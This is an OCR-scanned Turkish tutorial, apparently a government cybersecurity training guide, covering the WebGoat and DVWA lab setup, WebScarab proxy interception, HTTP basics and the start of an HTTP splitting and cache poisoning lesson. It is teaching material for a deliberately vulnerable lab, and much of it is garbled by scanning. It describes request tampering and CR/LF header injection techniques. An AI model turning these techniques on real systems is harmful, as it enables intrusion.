http://usu. includekarabuk .con/dvsatutorial .php
http://umu. includekarabuk.con/webgoattutorial . php

user@iktestnakinesi:“§ ifconf i
ethod Link encap:Ethernet

g
Huaddr 0B:00:27:23:66:c0
168.1.110 Beast:192.168.1.255 Mask:255.255.28
200:27(1 :£e23:66c0.64 Scope :Link
UNNING MULTICAST MTU:1500 Metric:l
errors:0 dropped:0 overruns:0 frane:0
TX packets:30 errors:0 dropped:0 overruns:® carrier:@
collisions:0 txgueuelen:1060
X bytes:2978 (2.9 KB) TX bytes:3040 (3.0 KB)
ink encap:Loc opback
r:127.0.0.1 Mask:255.0.0.0
t6 addr: ::1/128 Scope:Host
UP LOOPBACK RUNNING MTU:65536 Metric:l
packets:22 errors:0 dropped:0 overruns:0 franc:0
X packets s:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:1632 (1.6 KB) TX bytes:1632 (1.6 KB)

user@iktestmakinesi:"$

@ & 0 B8l Right ctrl

Temel CMD.
J Komutlari

( Kullanici adi: guest, parola: guest iriIir)
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TASNIF DISI Web Uygulamalarini Ele Ge¢irme Egitimi: WEBGOAT

& webGoat vs.4 x

<« c O On 192.168.1.110: attack oW v O NO:

File Machine View input Devices Help
i Y]

@OVASP _ aseecr)

WebGoat Authors

PR——

V54 Lesson Contributers

( WebGoat Erigilebilirdir )

Sanal sunucu makinenin gerek duyabileceginiz hesap bilgileri ve uygulama erigim linkleri
asagidaki gibidir:

Ubuntu Server Oturum Bilgileri

user
password

Localhost Http Basic Auth Oturum Bilgileri

http://IP
admin
toka

Webgoat Oturum Bilgileri

http://IP:8080/WebGoat/attack
( Linkteki W ve G harfleri biyik )
guest
guest

DVWA Oturum Bilgileri

http://IP/dvwa
admin
password

Phpmyadmin Oturum Bilgileri

http://IP/phpmyadmin
root
password
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MySQL Oturum Bilgileri

root
password

Sanal makineyi kapatirken sanal makine komut satirindan
1 sudo su // parola olarak password girilir.
2 poweroff

seklinde kapatmaya 6zen gosteriniz. Bu sekilde webgoat servisleri geri dénllemez sekilde
cakilmaz ve makineyi yeniden baslattiginizda webgoat sorunsuz acilabilir (¢linkl kapatilirken
webgoat servislerini diizenli kapatacak bir script tanimlanmistir).
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TASNIF DISI Web Uygulamalarini Ele Ge¢irme Egitimi: WEBGOAT

WINDOWS'A WEBGOAT KURULUMU

Microsoft firmasinin igletim sistemi olan Windows'a Webgoat kurulumu sunlardan ibarettir:

1. JRE 1.8 Kurulumu
2. Webscarab'l Kurma ve Yapilandirma
3. Webgoat'u Baglatma

1. JRE 1.8 Kurulumu

Webscarab'l baslatabilmek igin JRE'ye ihtiyacimiz olacaktir. Bu adresten sisteminiz 32 bitse
jre-8u31-windows-i586.exe dosyasini, sisteminiz 64 bitse jre-8u31-windows-x64.exe
dosyasini indirin. ilgili dosyayi indirebilmeniz icin acilan sayfadaki lisans anlasmasina Accept
demeniz gerekiyor. Ayrica siteye lye olmanizi Oracle sart kosuyor. Uye olduktan sonra
dosyay! indirebilirsiniz. Ardindan exe dosyasini c¢alistirn ve JRE'yi yukleyin.

2. Webscarab'it Kurma ve Yapilandirma

a) Yukleme Asamasi

Once bu adresten Webscarab'l indirin. inen dosya jar dosyasidir. Basit bir kurulumu vardir.
inen dosyaya cift tiklayin ve kurulumu next, next diyerek ilerletin. Normalde bu kurulum siireci
kurulum dosyasinin Gzerine ¢ift tiklamaniz ile baglamis olmasi gerekir. Fakat eger jar uzantili
bu dosyay: ¢ift tikladiginizda Winrar tarzi bir sikistirma programinin ekrani karsiniza gelirse o
zaman yuklemeyi soyle baslatabilirsiniz: jar uzantili yikleme dosyasina sag tiklayin. Birlikte A¢
deyin ve JAVA SE'yi secin. Eger birlikte aca fare imleci ile geldiginizde JAVA SE'nin yer
almadigini gorullrurseniz varsayilan programi seg¢'e tiklayin. 32 bitlik jre kurduysaniz gozat
butonuna tiklayin ve C:\Program Files\Java\jre1.8.0_31\bin dizinine ilerleyin. Bu dizin
icerisindeki java isimli dosyayi seg¢in ve A¢ butonuna tiklayin. Kurulum bagslayacaktir. Eger 64
bitlik jre kurduysaniz gOzat butonuna tiklayin ve C:\Program
Files(x86)Java\jre1.8.0_31\bin dizinine ilerleyin. Bu dizin i¢erisindeki java isimli dosyayi segin
ve Ac¢ butonuna tiklayin. A¢ dedikten sonra kurulum baslayacaktir. Kurulum dizinini
degistirmeniz gerekmektedir. Clnku varsayilan olarak gelen dizin i¢in hata vermektedir. Dizini
soyle yapin: C:\Users\"Kullanici Adiniz"\Desktop\WebScarab Buradaki "Kullanici Adiniz"
yerine bilgisayarinizin agik olan oturuma ait kullanici adini yaziniz. Eger hata yapmak
istemiyorsaniz Browse butonuna basin ve agilan pencereden Masaustinu segin. Ardindan OK
deyin. Bu iglem sizin yerinize otomatik olarak dizini Uretecektir. Uretilen bu dizinin sonuna
\WebScarab ifadesini girin ki kurulum dosyalari tek bir klasér icinde toplansin, daginik
durmasin. Yukleme gerceklestikten sonra ekranin dylece takili kaldigini goéreceksiniz. Yani
next butonuna tiklamaniza ragmen Oylece pencere kalacaktir. Bu durumda Quit demeniz
yeterlidir. Merak etmeyin. Webscarab masadustinuze yuklenmistir.

b) Yapilandirma Asamasi

Bu asamada webscarab'in tarayicidaki davraniglari kontrol altina alabilmesi igin hem
tarayicida hem de webscarab'da yapilandirma ayarlari yapilacaktir. Oncelikle Webscarab'i
baslatmak icin masatistiinde yikleme sonrasi belirmis olan WebScarab klasdriine girin. Klasor
icerisindeki webscarab dosyasina ¢ift tiklayarak Webscarab'i baslatin. Agilan webscarab
penceresinden Tools->Proxy sekmesine basin. Ardindan asagidaki resim gibi acilan
pencerenizi duzenleyin.
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File View Tools Help

Summary Intercept

(i wersarabtic | —— S CV NS |

[_] Tree Selection filters conversation list

un | Methods ‘ Status Set-Cookie Scripts Comments

s
|£/ Config proxies g
HTTP Proxy: |localhosq | Port: [3080
HTTPS Proxy: |localhost | Port: \8443
No Proxy :
D+ Date Method Host Path Parameters Status Origin Set-Cookie Cookie

Ardindan Apply butonuna basin. Simdi sira tarayiciyi yapilandirmakta. Burada firefox tarayicisi
ele alinacaktir. Firefox'u agin ve Segenekler->Gelismis->Ag->Baglanti->Ayarlar bdlimuine

ilerleyin. Agilan pencereyi agagida yer alan resimdeki gibi yapilandirin.

-
Baglant: Ayarlan

S5

Internete erigmek icin vekil sunuculan yapilandir

() Vekil sunucu yok

(71 Sistern vekil sunucu ayarlanmi kullan

@ Vekil sunucuyu elle ayarla:

(7 Bu agin vekil sunucu ayarlanm kendiliginden tar

i HTTP vekil sunucusu:  localhost Tletisirn noktas:: 8008
Tam iletigim kurallan igcin bu vekil sunucuyu kullan
i SSL vekil sunucusw: | localhost Tletisirn noktase 8008 =
I ETP vekil sunucusw: | localhost Tletisim noktas:: 8008~
SOCKS sunucusw: | localhost Tletisim noktast: 8008 =
SOCKS v (@ SOCKSwS [0 Uzak DNS
Vekil sunucu kullanma:
Ornek: .mozilla.org, .com.tr, 192.168.1.0/24
(71 Otomatik vekil sunucu ayarlama URL'si:
Yenile
[T] Parola kayitlysa kimlik dogrulama isterne
[ Tamam ] I Vazgeg ] I Yardim ]

Eger firefox'u yapilandiracaginiz yukaridaki resimde gorulen pencerede "Vekil Sunucu
Kullanma" bolimu altinda 127.0.0.1 varsa onu silin. Aksi takdirde webscarab uygulamasi
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webgoat uygulamasini kontrol altina alamayacaktir. Resimdeki gibi HTTP vekil sunucusunu
hallettikten sonra bu asama bitmis bulunmaktadir.

3. Webgoat'u Baslatma

Oncelikle Webgoat bu__adresten indirin.  Zip'i acin ve acilan WebGoat-5.4 klasdrini
masaustine koyun. Webgoat icin ekstra bir ayar ya da kuruluma gerek yoktur. Tim islemler
batch dosyasina sadece cift tiklama ile yapilabiime kolayligina sahiptir. Once webscarab'i
baslatin. Bunun igin masadustiinizdeki WebScarab klasori icerisindeki webscarab dosyasina
cift tiklamaniz gerekir. Sonra WebGoat-5.4 klasoriine girin ve webgoat 8080 dosyasina ¢ift
tiklayin. Acilan terminali Webgoat uygulamasini sonlandirana kadar da kapatmayin. Webgoat
uygulamasi artik baglamistir. Webgoat'un galisip ¢calismadigini denemek icin yapilandirdiginiz
tarayiciyl acin ve http://localhost:8080/WebGoat/attack linkini adres cubuguna girin. Artik
o6grenmek icin hazirsiniz.

TUBITAK — BILGEM - Siber Givenlik Enstitisi

28


https://webgoat.googlecode.com/files/WebGoat-5.4-OWASP_Standard_Win32.zip

TASNIF DISI Web Uygulamalarini Ele Ge¢irme Egitimi: WEBGOAT

DERS 1 - INTRODUCTION(GIRIS)

Webgoat siber guvenlik uygulamamiz bu ilk bélimde - Introduction bdéliminde - bizlere
WebGoat web uygulamasini daha verimli nasil kullanabilecegimizden, nasil WebGoat
uygulamasina e@er dilersek ders ekleyebileceimizden ve bu web uygulamasinin bir
laboratuvar v.b. ortamda coklu bilgisayarlara nasil sunulabileceginden bahsetmektedir. Bizi
ilgilendiren burada bu web uygulamasini nasil daha verimli kullanabilecedimiz kismi
oldugundan bu yazi bunu konu edinecektir.

Logout @

OWASP WebGoat V6.2

Restart this Lesson

Enter your name in the input field below and press "go” to submit. The server will accept the
request, reverse the mput, and display it back to the user, dlustrating the basics of handhing
an NTTP raguest,

The user should become familiar with the features of WebGoat by manipulating the above
buttons to view hints and soluticn, You have to use WebScarab for the first time.

Enter your name: Go!

Yukaridaki resimde gormekte oldugunuz rakamlarin temsil ettigi bolgeler su anlama
gelmektedir:

Bu bdlge WebGoat'ta yikli dersleri siralamaktadir.

Hints, dersi ¢dzmek igin bir dizi ipucunun gdsteriimesini saglayan bir butondur. Derslerle
bagbasa kaldiginizda ve ilerleyemez duruma geldiginizde bu ipuglarini biraz biraz kullanarak
ilerleme katedebilirsiniz. Ne kadar az kullanirsaniz o kadar iyi. :)

Show Params butonu HTTP Request(Talep) parametrelerinin ne oldugunu bize gdésterir.
Ne anlama geldigini kullandidiniz zaman anlarsiniz.

Show Cookies butonu ile gerezleri gorebilirsiniz. Ne anlama geldigini kullandidiniz zaman
anlarsiniz.

Lesson Plan butonu bize dersi basariyla tamamlamak igin ulasiimasi gereken hedefleri ve
sorumlu olunan gdrevleri siralar.

Show Java butonu ile ekranda kullaniyor oldugunuz dersin igeriginin arkaplaninda dénen
dolaplardan haberdar olabilirsiniz. Yani Java kaynak kodlarini gorebilirsiniz. Bu butonu gok
ama cok nadir kullanacagimizdan Java bilmeniz sart degildir.
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Solution butonu ile dersin ¢6zimunu gorebilirsiniz.

Eger dersi bastan tekrarlamak isterseniz bu buton ile dersi sifirlayabilirsiniz. Yani yaptiginiz
degigiklikler sifirlanmig olur ve dersi yeniden tamamlamaniz gerekir.

Bdylelikle webgoat'ta derslere baglamak i¢in hazir bulunmaktasiniz. Unutmayiniz ki her
derse baglarken "Lesson Plan" butonu ile derse baslayiniz. Bu buton size ders icin
kullanacaginiz ilgili ydonergeleri, hedefleri sdyleyecektir. Bu yazi dizisi boyunca her dersin
Lesson Plan'ini bir 6zet niteliginde Tirkce olarak bulabilirsiniz. Ayrica Solution'in Turkge
versiyonunu ve ekstra acgiklamalarini da bulabilirsiniz.

Blogdaki yazilari okumadan énce kendi basiniza ingilizceniz yettigi 6lcide WebGoat
uygulamasi Uzerinde ¢abalarsaniz - mesela hint'leri kullanirsaniz - ve sonra burada dersin
¢6zUmlnl okursaniz bence en ylksek verimi boyle alirsiniz. Hem dil agisindan hem siber
glvenlik agisindan. Veyahut direk blogda yer alan ¢6zimi okuyarak da elbet bir verim elde
edebilirsiniz. Sonug olarak her tirlii kazanan siz olursunuz. lyi calismalar.
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DERS 2 - GENERAL > HTTP BASICS

Webgoat uygulamasinin General Unitesinde yer alan ilk dersimiz Hitp Basics, yani Http
Temelleri Gzerinedir. Bu ders ile Webscarab'in kullanihisini ve http iletisimini bir nebze
o0grenmis olacaksiniz. Bu derste bunlarin yanisira dnceki derste tanitilan butonlara da tekrar
deginilecektir.

Her derste Dersin Hedefi bashkl yazi bélumu yer alacaktir. Dersin Hedefi bolimi WebGoat
uygulama arayuzinde yapacaginiz gérevlerden - mesela yapilmasi gereken siber saldiridan -
bahsedecektir. Bu blogdaki webgoat yazilarinin Dersin Hedefi bolimini okudugunuz
takdirde yaziya devam etmeyiniz ve dersi verilen bilgiler 1sidinda kendi basiniza tamamlamaya
calisiniz. Eger ingilizcenize guveniyorsaniz bu bolumi Webgoat arayuzindeki Lesson
Plan adli butona tiklayarak da okuyabilirsiniz. Agiklamalar bashkl bélimde derste gegen
kavramlardan, ekstra bilgilerden bahsedilecektir. Dersin Coziimu bashkl bélimde ise dersi
nasil basariyla tamamlayacaginizdan bahsedilecektir.

Choose another language: | English Logoutg

Http Basics

Introduction

£ Solution Videos Restart this Lesson

General

v . s

Hitp Basics Enter your name in the input field below and press "go" to submit. The server will accept the
HTTP Splitting request, reverse the input, and display it back to the user, illustrating the basics of handling an
= HTTP request.

Access Control Flaws
AJAX Security The user should become familiar with the features of WebGoat by manipulating the above buttons
’*UEP}"‘tv"‘_;"t,'cf“’f'“"“s to view hints, show the HTTP request parameters, the HTTP request cookies, and the Java source
Buffer Overflows code. You may also try using WebScarab for the first time.
Code Quality
Concurrency
Cross-Site Scripting (XSS) * Congratulations. You have successfully completed this lesson.
Improper Error Handling
Injection Flaw
Denial of Service
Insecure Communication Enter your Name: |nasah Go!

Insecure Configuration

Insecure Storage OWASP Foundation | Project WebGoat | Report Bug
Malicious Execution

Parameter Tampering

Session Management Flaws

Web Services

Admin Functions

Challenge

Dersi ugraslariniz sonucu tamamladiginizda Webgoat ders listesinde ilgili dersin

yaninda v/ (tick) isaretini goriiyor olacaksiniz. Ayni zamanda dersin igeriginde kirmizi renkli
bir "* Congratulations. You have successfully completed this lesson." cimlesini gériyor
olacaksiniz. Bunlar, dersi bagariyla tamamladiginizi ifade etmektedir. Simdi dersin hedefine
odaklanalim.
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Dersin Hedefi
Ekranda gordigunuz metin kutusuna bir kelime girin. Ardindan Go! butonuna tiklayin. Bu
sureci Webscarab ile takip edin.

Aciklamalar

Oncelikle konumuz geredi HTTP protokoliiniin ¢alisma seklinden biraz bahsedelim. Bir istemci
sunucudan bir web sayfasi talep ettiginde - yani url'sini tarayicinin adres gubuguna girdiginde
- handshake diye adlandirilan bir "el sikisma" prosedirt uygulanir. Bu prosedire gore istemci
sunucu ile baglanti kurabilmek igin SYN adi verilen senkronizasyon paketi génderir. Sunucu
bu pakete karsilik yanit olarak SYN/ACK adi verilen senkronizasyon/onaylama paketini
gdénderir. istemci bunun akabinde ACK paketini sunucuya géndererek iletisim baslatiimis olur
ve web sayfasi sunucudan istemciye bdylece yollanir. Baglanti kurma adimlari internetin taa
90'll yillardan beri kullaniimakta olan HTTP 1.1 versiyonunun calisma sekline dayanir.

TCP Three-Step
Handshake

SYN -
4+—SYN/ACK
ACK -

-4—FEstablished—

Server

Baglanti kurulduktan sonra istemciye gelen html sayfasini tarayici analiz eder ve html
kodlarinda belirtilen tim diger dosyalari sunucudan talep eder. Bu dosyalar betik(javacript
kodlari), resim, css dosyasi,... vs olabilir. Her bir dosya talebi i¢in sifirdan yeni bir baglanti
kurulur. Sanki 6nceden hig kurulmamig gibi. Yani yine handshake prosediirii uygulanir. iste
bu HTTP 1.1 versiyonunun bir handikabidir. Bu handikap yuzinden internet hizi ne kadar
hizli olursa olsun web sayfasi gértintileme hizi arzulanan seviyelere gikamamaktadir. HTTP
2.0 versiyonu ile bu soruna ¢d6zim bulunmustur, fakat hala halledilmesi gereken bazi
noktalari mevcuttur.

Biraz da ders igerisinde kullanacagimiz butonlara deginelim. Ders1 -

Introduction(Giris) yazisinda zaten butonlara degdinilmisti. Burada sadece 6nceki yazida
detaylandiriimamis butonlar bahsedilecektir. O yazida hatirlayacagdiniz Gzere Show

Params ve Show Cookies butonlari vardi. Show Params butonu, sunucuya yapilan talep
icin bu talebe eklenen parametreleri ve parametre degerlerini gértntiler. Bu su anlama gelir:
Diyelim ki metin kutusuna veri girdiniz ve butona bastiniz. Bu durumda girdiginiz veri bir
degerdir(value'dur). Bu deger butona bastiginiz takdirde bir degiskene(parametreye) atilarak
sunucuya gitmektedir. Show Params butonuna tiklayarak girdiginiz veriyi ve baska verileri de
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ders igeriginin Uzerinde kirmizi renkli olarak goruntuleyebilirsiniz. Agagidaki resimde
gorebileceginiz Uzere metin kutusuna girilen veri ve bagka dederler buton ile gonderildikten
sonra Show Params araciligiyla ekranda goérintilenmektedir:

Choose another language: | English 2 Logout &3

&

r/-v

Http Basics

Y OWASP WebGoat v5.4

#::ﬁd‘f[“ur' Solution Videos Restart this Lesson

@ Http Basics SUBMIT=Go!

HTTP Spiitting . T

creen=
Ac Control Flaws '
AJA menu=100 -
tion Flaws

Buffer Overflows person=hasan
Code Qual

Concurrency

-Site Scripting (XSS)
r Error Handling

Enter your name in the input field below and press "go" to submit. The server will accept the
request, reverse the input, and display it back to the user, illustrating the basics of handling an
HTTP request.

The user should become familiar with the features of WebGoat by manipulating the above buttons

Insecure Communication
Insecure Configuration
Insecure Storage

Malicious Execution
Parameter Tampering
Session Management Flaws
Web Services
Admin Functions

Challenge Enter your Name: nasah Go!

to view hints, show the HTTP request parameters, the HTTP request cookies, and the Java source
code. You may also try using WebScarab for the first time.

* Congratulations. You have successfully completed this lesson.

OWASP Foundation | Project WebGoat | Report Bug

Parametreler ve de@erleri ayrica Webscarab yazilimi ile de goruntulenebilmektedir.
WebScarab kullanimi Dersin Coziimii baghgi altinda anlatilacaktir.

Show Cookies butonu ise gerezi gostermeye yarar. Cerez, sunucunun bizi hatirlamasini
saglayan veriye denir. Bu kavrami biraz daha agicak olursak HTTP 1.1'de bir sunucuya
mesela web sayfasi talebinde bulundugumuzda talebimize karsilik yapilan handshake
proseduru akabinde web sayfasi verildikten sonra tekrar web sayfasi talebinde
bulunuldugunda sunucu ayni istemciyi hatirlamaz, taniyamaz. Clinkt HTTP bu durum igin
kabiliyetli degildir. Bu sorunu gerezler ¢dzer. J2EE(Java To Enterprise Edition) web
uygulamasinda JSessionID, gerezi ifade eder. J2EE web uygulamasi istemciye bir karakter
dizisi verir ki bu karakter dizisine cerez denir. istemci diger taleplerinde talebinin yaninda bu
karakter dizisini de gondererek sunucunun kendini hatirlamasini saglar. Aldigi karakter
dizisinin tekrarini géren sunucu ise anlar ki bu talep 6nceki talebi yapan tarafindan yapilyor.

Dersin Coziimii

Ekranda goérdigunidz metin kutusuna girdiginiz kelime Go! butonuna tiklanildiktan sonra
talebinize eklenecek ve sanal sunucuya gidecektir. Burada java code'lari ile bu veri islenecek
ve terslenip metin kutusuna geri déndurtlecektir. Bu stireci WebScarab ile inceleme hususuna
gelince oncelikle webscarab'l ne amagla kullanacagimizdan bahsedelim. WebScarab, http
iletisimini kesmeye yarayan ve ¢esitli bilgileri sunma kabiliyetine sahip bir yazihmdir. Http
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iletisimini kesmekten kasit sudur: Siz metin kutusuna bir veri girdiniz ve butona basarak
gbnderdiniz diyelim. Bu yaptiginiza talep(request) denmektedir. Sunucuya yaptiginiz bu talebi
kesebiliyorsunuz ve gonderdiginiz veriyi manipule edip sunucuya o sekilde gitmesini
saglayabiliyorsunuz.  Ayrica  sunucudan gelen vyanitin(response'un) 6éndnd  de
kesebiliyorsunuz. Tum bu iglemleri yapabilmek igin sadece iki kutucuga tik koymak yeterlidir.
Tik'ler sayesinde siz webgoat uygulamasinda yapmis oldugunuz tim taleplerin 6nini
kesebiliyor olacaksiniz. Bu kesme islemi ekrana popup seklinde acilan bir pencere olarak
yansiyacaktir. Once bu tik igaretlerinin nerelere koyuldugunu gdsterelim. WebScarab'daki
"Intercept" adli sekmeye tiklayin.

B WebScarab Lite
File View Tools Help
Intercept

Intercept requests : |[] Case Sensitive Regular Expressions ? |

Methods Include Paths matching :
GET
POST Exclude paths matching :

fl HEAD
i PuT
DELETE

il TRACE
PROPFIND
H opTioNns

Intercept responses: [ |
Only MIME-Types matching :

Ekrana gelen yeni birimdeki sari ile vurgulanmig alanlardan ilki olan "Intercept Request"
kutucugu taleplerin 6niint kesmeye yarar. Diger vurgulanmig alandaki "Intercept Response
kutucugu ise yanitlarin éniinii kesmeye yarar. iki kutucuga da tick isaretini koyun ve derse
geri donun. Metin kutusuna bir karakter dizisi girin. Ardindan butona tiklayin. Ekrana gelen
popup su sekilde olacaktir:
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| © Edit Request

Intercept requests : Intercept responses:

l/Parsed rRaw |

Method URL Version
[FPosT | |http://localhost 8080/ WebGoat/attack?screen = 16&menu =100 | [HTTP/L.1]
I Header Value
||Host localhost: 8080 -
User-Agent Mozilla/5.0 (£11; Ubuntu; Linux x86_64; nv37.0) Gecko/20100101 Firefox/37.0
Arcept text/html, application/xhtml+xml, application/xml;q=0.9,*/*;q=0.8
Arccept-Language  |en-US,en;q=0.5 = Insert
Accept-Encoding  |gzip, deflate
Referer http: //localhost: 8080/ WebGoat/attacksscreen=16&menu= 100 Delete
Cookie JSESSIOMID=A3F002 AEQSFEBCAOD343B40BC3BESFCE |
Authorization Basic Z3VIc3Q6I3VIc30=

Connac tinn kaan.-aliva

| Variable Value

person karabuk

SUBMIT Gol ‘ Insert

‘ Delete
e e |
l/Parsed rRaw |

Version Status Message

Header | Value
B
l/ Hex |
Position [0]1[2[3[4[5[6[7[8]a]A]B[C]D]E]F] String
| Accept changes I Cancel changes | Abort request | | Cancel ALL intercepts

Yukaridaki resimde ok ile vurgulanmig alan benim metin kutusuna girdigim karakter dizisini
gostermektedir. Siz de sizin girdiginiz karakter dizisini goruntulliyor olacaksiniz. Bu alan
POST methodu ile génderilmekte olan parametre ve degerlerini barindirmaktadir. Metin
kutusunun verisine bu birim tUzerinden cift tiklayip dilediginiz gibi degeri degistirebilirsiniz.
Eger Accept Changes butonuna tiklarsaniz ve diger agilan tim pencereler igin Accept
Changes derseniz lamer dlizeyinde bir man in the middle saldirisi yapmis olursunuz. Fakat
su an i¢in butonlara basmayin ve okumaya devam edin. Az dnce bahsettigim "Lamer"
kelimesi, isin derinligine vakif olmadan c¢esitli yazilimlar ile siber saldiri yapan kisiye
denmektedir. Man in the middle ise adi Ustlinde aradaki adam saldirisidir. Yani, bir istemci
vardir ve bir de sunucu. Aradaki iletisimi kesen veyahut dinleyen ve dolayisiyla ¢alan ¢irpan
kisi ise aradaki adamdir - man in the middle'dir.

Simdi Accept Changes butonuna basin. Accept Changes butonuna tikladiginizda
WebScarab'in bir dncekine benzeyen bir baska popup penceresi agilacaktir. Bu yeni pencere
sunucunun verdigi yaniti barindirir. Bu pencere igin de Accept Changes deyiniz ve ardindan
birkag pencere daha ekrana gelecektir. Bunlar ise sunucunun bize gonderdigi html dosyasi
icerisindeki css dosyalarini gosteren linklerin ve resimlerin otomatik olarak talebe neden
olmasi akabinde sunucudan dénen yanitlari temsil ederler. Bu yanitlar tahmin edebileceginiz
Uzere css dosyasini ve resimleri barindirir. Peki bunlari ben nereden biliyorum dersiniz?
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Edit Response

Intercept requests : Intercept responses :

l/Parsed rRaw |

Method URL Version
GET http://localhost: 8080/ WebGoat/css/menu.css HTTPf1.1
Header Value
l|Host localhost: 8080
||User—Agent Mozilla/5.0 (¢11; Ubunty; Linux x86_64; nv37.0) Gecko/20100101 Firefox/37.0
|| Accept text/css,*/*;g0=0.1
J|Accept-Language |en-US,en;g=0.5

=_|Arrpm—Encodinu azip. deflate
-

4]

HTTP/1.1 200 0K
erver: Apache-Coyote/1.1

Cache-Control: private

Expires: Thu, 01 Jan 1970 02:00:00 EET
cept-Ranges: bytes

ETag: W/"2959-1334912248000"
Last-Modified: Fri, 20 Apr 2012 08:57:28 CMT
Content-Type: text/css

Content-length: 959

Date: 5at, 18 Apr 2015 15:16:05 GMT

CSS KODLARI GORUNUYOR
- pviimenudiv td {font-family. "Trebuchet M5", Arial, sans-serif; font-size: 10px}

L pviimenudiv p {font-family: "Trebuchet M5, Arial, sans-serif; font-size: 10px; margin-top: 12px; margin-bottom: &px}
pviimenudiv b {font-family. Verdana, Arial, Helvetica, sans-serif, font-style: normal; color: #666666}

-pviimenudiv a:link {color: #333333; text-decoration: underline}

pviimenudiv avisited {color: #0086FF; text-decoration: underline}

pviimenudiv a:howver {color: red; text-decoration: underline}

L pviimenudiv a:active {color: #0086FF; text-decoration: underline}

.pviimenudivstage a:link {color: #333333; font-size: 9px; display. block; margin-left: Zem; }

pviimenudivstage avisited {color: #0086FF; font-size: 9px; display. block; margin-left: 2em; }

pviimenudivstage a:hover {color: red; font-size: 9px; display: block; margin-left: 2em; }

pviimenudivstage a:active {color: #0066FF; font-size: 9px; display. block;, margin-left: 2em; }

Accept changes I Cancel changes Abort request | | Cancel ALL intercepts

Yukaridaki resimde url'ye bakinca zaten .css uzantisini géruyorsunuz. Orada .png, .gif ,... vs'i
de olabilirdi. Bu sekilde olaya vakifim. Ayrica dénen talebin igerigini Raw adli sekmeye
tiklayarak da gorebilirsiniz. Tim pencerelere Accept Changes diyerek sonlandirdidinizda dersi
basariyla bitirdiginizi  sbyleyen tick isaretini ve kirmizi  bildirimi  géreceksiniz.
Simdilik bu kadar. Yeri geldikge WebScarab'l kullanacagdiz. Bu derste WebScarab'in nasil
kullanildigindan bir parga bahsetmis olduk. Gelecek derste gorismek tzere....
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DERS 3 - GENERAL > HTTP SPLIT

Webgoat uygulamasinin General Gnitesinde yer alan ikinci dersimiz Http Split'tir. Bu ders ile
enjeksiyon kavrami kafanizda sekillenecek, ayni zamanda HTTP header'a asinalik kazanmis
olacaksiniz.

Dersin Hedefi

Bu ders Http Split(Http Bdlme) ve Cache Poisoning(Onbellek Zehirleme) olmak Uzere iki
kisimdan olusur. ik kisimda CR(%0D) ve LF(%O0A) karakterlerini kullanarak sunucudan
faydalanmaya calisin. Yani yaptidiniz saldiri sonucu sunucunun 200 OK yanitini vermesini
saglayin. ikinci kisimda ise saldirinin siddetini arttiracak olan 6nbellek zehirlemesini
gerceklestirin. Boylece yaptiginiz saldiriyi kalici hale getirmis olun.

Aciklamalar

Dersin hedefinde bahsedilen CR(%0D) ve LF(%0A) karakterleri satir atlatma komutlarinin URL
icin kodlanmis halleridir. Bu kavramlari daha iyi anlamak igin énce url kodlamasindan biraz
bahsetmemiz gerekir. URL Encoding, yani url kodlama bizim adres gubuguna girdigimiz url'leri
kodlama methoduna verilen isimdir. Bdyle bir methoda ihtiya¢ duyulmustur, ¢inku linkte yer
alabilecek bazi karakterler arzulanan sekilde degil de komut olarak algilanabilir. Nasil mi? En
basitinden dusunun ki GET methodu ile bir formdan veri génderiyorsunuz. Butona bastiginizda
talebinizin verileri linkin sonuna ampersand(&) isaretleri ile eklenecektir. Mesela;

http://www.includekarabuk.com/archive.php?year=2015&month=02

Yukarida gordundz linkten anlayabileceginiz Uzere yalin link sudur:

http://www.includekarabuk.com/archive.php

Get methodu ile gonderilen degiskenler ve degerleri ise sunlardir: year=2015&month=02 . Fark
ettiyseniz iki degisken ve dolayisiyla iki deger talebe eklenmis ve bunlar birbirlerinden
ampersand(&) isareti ile ayrilmis. Ampersand'in béyle bir iglevi vardir. Bu duruma bakarak url
encoding'e neden ihtiya¢ var sorusuna cevap bulabiliriz: Eger gonderilen degisken degerlerinin
icerisine form doldurulurken ampersand koyarsak ilgili degiskene degder olan ampersand isareti
link Uzerine yerlestikten sonra sunucu tarafindan farkli algilanacaktir. Cinkl ampersand isareti
degiskenleri birbirinden ayirmaya yariyordu. Biz ise degisken deg@eri olarak verinin icerisine
ampersand sembolund koyarak mevcut veriyi ikiye bolmus oluyoruz. Bizim arzuladigimiz sey,
sadece verinin ampersand isaretini icermesi, bélmesi degil. Bu ve buna benzer durumlardan
oturd URL encoding methodu kullaniimaktadir. Bu method ile degisken degerleri icerisindeki
mesela  ampersand isareti %26  seklinde kodlanarak  degiskene yerlesir.

CR ve LF karakterlerine donecek olursak bu satir atlatma komutlari \r ve \n karakterlerini temsil
ederler. \r karakteri %0D olarak, \n karakteri ise %0A olarak url'de kodlanmaktadir. Windows
sistemlerinde satir atlatma komutlari olarak CR ve LF'nin ikisi de beraberce kullanilirken linux
sistemlerinde satir atlatmak igin sadece LF karakteri kullanilir. (Windows: \r\n, Linux: \n) Bu
farki anlamak igin linux sisteminde bir metin belgesi agin ve igerisini 5 satirlik veri ile doldurun.
Sonra bu dosyay!i windows'ta agin. Goreceksiniz ki windows'ta 5 satirlik veri tek satirda
gosterilecektir. Cunku linux satir atlatma igin sadece LF kullanirken Windows LF ile CR'ye de
ihtiyac duymaktadir. CR'in acilimi Carriage Return(Vagon Dénusu), LF'nin acilimi ise Line
Feed(Satir Beslemesi)'dir
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Biraz da Http Header'lardan(Http Basligindan) bahsedelim. Clnkl http header'lar ile bu derste
hasir nesir olacagiz. Bir web sitesi linkini adres gubuguna girdigimizi varsayalim. Bu durumda
web sitesinin yer aldidi sunucuya handshake sonrasi Http Header gondeririz. Sunucu da
istenilen web sitesi igerigiyle beraber bir bagka http header bize génderir. Bu slreci asagidaki
resim ifade etmektedir.

HTTP
Headers
r4

=] L:-j'
‘ -

HTTP Response
— N

.
HTTP
Headers

Content

Http Request, web adresini adres gubuguna girmemiz sonucu olusan talebe denir. Hitp
Response ise gonderdigimiz talebe karsi sunucudan aldigimiz yanita denir. Http header'lar
http request ve http response'larin ana kismini teskil ederler. Http Header'lar kullandigimiz
tarayici hakkinda, talep edilen sayfa hakkinda, sunucu hakkinda, vs... veriler igerir. Asagida,
adres ¢ubuguna link girdiginizde tarayicinin sunucaya gondermek tzere olusturdugu bir Http
Request 6rnegi gormektesiniz:

1 GET /tutorials/other/top-20-mysgl-best-practices/ HTTP/1.1
2 Host: net.tutsplus.com

3 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.5)
